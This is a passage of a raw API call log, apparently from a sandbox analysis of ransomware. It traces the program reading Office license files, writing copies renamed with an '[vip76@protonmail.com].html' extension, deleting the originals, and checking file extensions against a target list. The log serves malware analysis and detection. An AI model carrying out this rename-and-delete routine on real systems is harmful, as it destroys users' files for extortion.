	[0199.705] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0199.705] SetEndOfFile (hFile=0x580) returned 1
	[0199.705] CloseHandle (hObject=0x580) returned 1
	[0199.705] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.705] SetEndOfFile (hFile=0x5d8) returned 1
	[0199.760] CloseHandle (hObject=0x5d8) returned 1
	[0199.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ppd.xrm-ms")) returned 1
	[0199.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0199.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0199.764] lstrlenW (lpString=".doc") returned 4
	[0199.764] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.764] lstrlenW (lpString=".docx") returned 5
	[0199.764] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.764] lstrlenW (lpString=".pdf") returned 4
	[0199.764] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.764] lstrlenW (lpString=".xls") returned 4
	[0199.764] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.764] lstrlenW (lpString=".xlsx") returned 5
	[0199.764] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.764] lstrlenW (lpString=".ppt") returned 4
	[0199.764] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0199.764] lstrlenW (lpString=".zip") returned 4
	[0199.764] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.764] lstrlenW (lpString=".rar") returned 4
	[0199.764] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.764] lstrlenW (lpString=".bz2") returned 4
	[0199.764] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.764] lstrlenW (lpString=".7z") returned 3
	[0199.765] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0199.765] lstrlenW (lpString=".dbf") returned 4
	[0199.765] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0199.765] lstrlenW (lpString=".1cd") returned 4
	[0199.765] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0199.765] lstrlenW (lpString=".jpg") returned 4
	[0199.765] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0199.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0199.765] lstrlenW (lpString=".doc") returned 4
	[0199.765] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.765] lstrlenW (lpString=".docx") returned 5
	[0199.765] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.765] lstrlenW (lpString=".pdf") returned 4
	[0199.765] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.765] lstrlenW (lpString=".xls") returned 4
	[0199.765] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.765] lstrlenW (lpString=".xlsx") returned 5
	[0199.765] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.765] lstrlenW (lpString=".ppt") returned 4
	[0199.765] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0199.765] lstrlenW (lpString=".zip") returned 4
	[0199.765] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.765] lstrlenW (lpString=".rar") returned 4
	[0199.765] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.765] lstrlenW (lpString=".bz2") returned 4
	[0199.766] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.766] lstrlenW (lpString=".7z") returned 3
	[0199.766] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0199.766] lstrlenW (lpString=".dbf") returned 4
	[0199.766] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0199.766] lstrlenW (lpString=".1cd") returned 4
	[0199.766] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ppd.xrm-ms") returned 87
	[0199.766] lstrlenW (lpString=".jpg") returned 4
	[0199.766] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.766] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.766] lstrlenW (lpString="O365BusinessR_Subscription-ul-oob.xrm-ms") returned 40
	[0199.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.767] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11647) returned 1
	[0199.767] CloseHandle (hObject=0x5d8) returned 1
	[0199.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms")) returned 0x220
	[0199.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.768] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.768] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0199.768] GetLastError () returned 0x0
	[0199.768] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d7f, lpOverlapped=0x0) returned 1
	[0199.770] WriteFile (in: hFile=0x5e8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0199.771] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.771] WriteFile (in: hFile=0x5e8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x124, lpOverlapped=0x0) returned 1
	[0199.772] SetEndOfFile (hFile=0x5e8) returned 1
	[0199.772] CloseHandle (hObject=0x5e8) returned 1
	[0199.772] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.772] SetEndOfFile (hFile=0x5d8) returned 1
	[0199.775] CloseHandle (hObject=0x5d8) returned 1
	[0199.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms")) returned 1
	[0199.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0199.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0199.777] lstrlenW (lpString=".doc") returned 4
	[0199.777] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.777] lstrlenW (lpString=".docx") returned 5
	[0199.777] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.777] lstrlenW (lpString=".pdf") returned 4
	[0199.777] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.777] lstrlenW (lpString=".xls") returned 4
	[0199.777] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.777] lstrlenW (lpString=".xlsx") returned 5
	[0199.777] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.777] lstrlenW (lpString=".ppt") returned 4
	[0199.777] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0199.777] lstrlenW (lpString=".zip") returned 4
	[0199.777] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.777] lstrlenW (lpString=".rar") returned 4
	[0199.777] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.777] lstrlenW (lpString=".bz2") returned 4
	[0199.777] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.777] lstrlenW (lpString=".7z") returned 3
	[0199.777] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0199.777] lstrlenW (lpString=".dbf") returned 4
	[0199.777] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0199.777] lstrlenW (lpString=".1cd") returned 4
	[0199.777] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0199.777] lstrlenW (lpString=".jpg") returned 4
	[0199.778] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0199.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0199.778] lstrlenW (lpString=".doc") returned 4
	[0199.778] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.778] lstrlenW (lpString=".docx") returned 5
	[0199.778] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.778] lstrlenW (lpString=".pdf") returned 4
	[0199.778] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.778] lstrlenW (lpString=".xls") returned 4
	[0199.778] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.778] lstrlenW (lpString=".xlsx") returned 5
	[0199.778] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.778] lstrlenW (lpString=".ppt") returned 4
	[0199.778] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0199.778] lstrlenW (lpString=".zip") returned 4
	[0199.778] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.778] lstrlenW (lpString=".rar") returned 4
	[0199.778] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.778] lstrlenW (lpString=".bz2") returned 4
	[0199.778] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.778] lstrlenW (lpString=".7z") returned 3
	[0199.778] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0199.778] lstrlenW (lpString=".dbf") returned 4
	[0199.778] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0199.778] lstrlenW (lpString=".1cd") returned 4
	[0199.779] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0199.779] lstrlenW (lpString=".jpg") returned 4
	[0199.779] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.779] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.779] lstrlenW (lpString="O365BusinessR_SubTest-pl.xrm-ms") returned 31
	[0199.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.779] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11175) returned 1
	[0199.780] CloseHandle (hObject=0x5d8) returned 1
	[0199.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms")) returned 0x220
	[0199.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.780] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.780] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0199.781] GetLastError () returned 0x0
	[0199.781] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2ba7, lpOverlapped=0x0) returned 1
	[0199.783] WriteFile (in: hFile=0x5e8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0199.785] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.785] WriteFile (in: hFile=0x5e8, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x112, lpOverlapped=0x0) returned 1
	[0199.785] SetEndOfFile (hFile=0x5e8) returned 1
	[0199.785] CloseHandle (hObject=0x5e8) returned 1
	[0199.785] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.785] SetEndOfFile (hFile=0x5d8) returned 1
	[0199.788] CloseHandle (hObject=0x5d8) returned 1
	[0199.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms")) returned 1
	[0199.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0199.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0199.789] lstrlenW (lpString=".doc") returned 4
	[0199.789] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.789] lstrlenW (lpString=".docx") returned 5
	[0199.790] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.790] lstrlenW (lpString=".pdf") returned 4
	[0199.790] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.790] lstrlenW (lpString=".xls") returned 4
	[0199.790] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.790] lstrlenW (lpString=".xlsx") returned 5
	[0199.790] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.790] lstrlenW (lpString=".ppt") returned 4
	[0199.790] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0199.790] lstrlenW (lpString=".zip") returned 4
	[0199.790] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.790] lstrlenW (lpString=".rar") returned 4
	[0199.790] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.790] lstrlenW (lpString=".bz2") returned 4
	[0199.790] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.790] lstrlenW (lpString=".7z") returned 3
	[0199.790] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0199.790] lstrlenW (lpString=".dbf") returned 4
	[0199.790] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0199.790] lstrlenW (lpString=".1cd") returned 4
	[0199.791] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0199.791] lstrlenW (lpString=".jpg") returned 4
	[0199.791] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0199.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0199.791] lstrlenW (lpString=".doc") returned 4
	[0199.791] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.791] lstrlenW (lpString=".docx") returned 5
	[0199.791] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.791] lstrlenW (lpString=".pdf") returned 4
	[0199.791] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.791] lstrlenW (lpString=".xls") returned 4
	[0199.791] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.791] lstrlenW (lpString=".xlsx") returned 5
	[0199.791] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.791] lstrlenW (lpString=".ppt") returned 4
	[0199.791] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0199.791] lstrlenW (lpString=".zip") returned 4
	[0199.791] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.791] lstrlenW (lpString=".rar") returned 4
	[0199.791] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.791] lstrlenW (lpString=".bz2") returned 4
	[0199.791] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.791] lstrlenW (lpString=".7z") returned 3
	[0199.791] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0199.791] lstrlenW (lpString=".dbf") returned 4
	[0199.792] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0199.792] lstrlenW (lpString=".1cd") returned 4
	[0199.792] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81
	[0199.792] lstrlenW (lpString=".jpg") returned 4
	[0199.792] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.792] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.792] lstrlenW (lpString="O365BusinessR_SubTest-ppd.xrm-ms") returned 32
	[0199.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.793] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=22465) returned 1
	[0199.793] CloseHandle (hObject=0x5d8) returned 1
	[0199.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms")) returned 0x220
	[0199.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0199.793] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.793] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
